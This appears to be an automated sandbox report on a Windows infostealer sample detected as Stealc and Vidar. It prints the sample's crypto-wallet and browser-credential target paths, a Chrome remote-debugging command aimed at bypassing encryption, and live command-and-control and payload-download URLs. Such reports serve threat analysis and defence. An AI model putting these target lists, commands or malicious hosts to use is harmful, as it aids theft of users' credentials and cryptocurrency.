Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.000000000069C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000001.00000002.1821449773.0000000001249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco*r2
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1818898702.0000000000654000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.1821449773.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1818898702.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1275692336.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2708, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF10C40 sqlite3_bind_zeroblob,	1_2_6CF10C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF10D60 sqlite3_bind_parameter_name,	1_2_6CF10D60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE38EA0 sqlite3_clear_bindings,	1_2_6CE38EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF10B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	1_2_6CF10B40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE36410 bind,WSAGetLastError,	1_2_6CE36410
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE360B0 listen,WSAGetLastError,	1_2_6CE360B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE36070 PR_Listen,	1_2_6CE36070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE3C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	1_2_6CE3C050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE3C030 sqlite3_bind_parameter_count,	1_2_6CE3C030
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CDC22D0 sqlite3_bind_blob,	1_2_6CDC22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE363C0 PR_Bind,	1_2_6CE363C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	238 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	861 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\unik[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	26%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009625001\unik.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009635001\d4a6d0bce7.exe	26%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206dF;	0%	Avira URL Cloud	safe
http://185.215.113.16/6122658-3693405117-2476756634-1003	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/download	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe009636001	0%	Avira URL Cloud	safe
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubl	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exedv	0%	Avira URL Cloud	safe
http://185.215.113.16/0ac02b4ded8abeee1fbd97e9c4543b31de15441#	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/downloadn9	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exerlencodeda	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exedp	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/key	0%	Avira URL Cloud	safe
http://185.156.72.65/files/downloadR	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/keyY	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe3	0%	Avira URL Cloud	safe
http://185.156.72.65/files/downloadt	0%	Avira URL Cloud	safe
http://185.156.72.65/files/downloadX	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exehpe	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeEv(	0%	Avira URL Cloud	safe
http://185.156.72.65/files/download65/files/download	0%	Avira URL Cloud	safe
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosubsVF:	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exelencoded	0%	Avira URL Cloud	safe
http://185.156.72.65/add?substr=mixtwo&s=three&sub=nosub	100%	Avira URL Cloud	malware
http://185.156.72.65/files/download	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.twentykm20sr.top	34.118.84.150	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.161.69.117	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
b-0005.b-dc-msedge.net	13.107.9.158	true	false	high
googlehosted.l.googleusercontent.com	142.250.203.225	true	false	high
httpbin.org	18.213.123.165	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728800368&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728792494&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
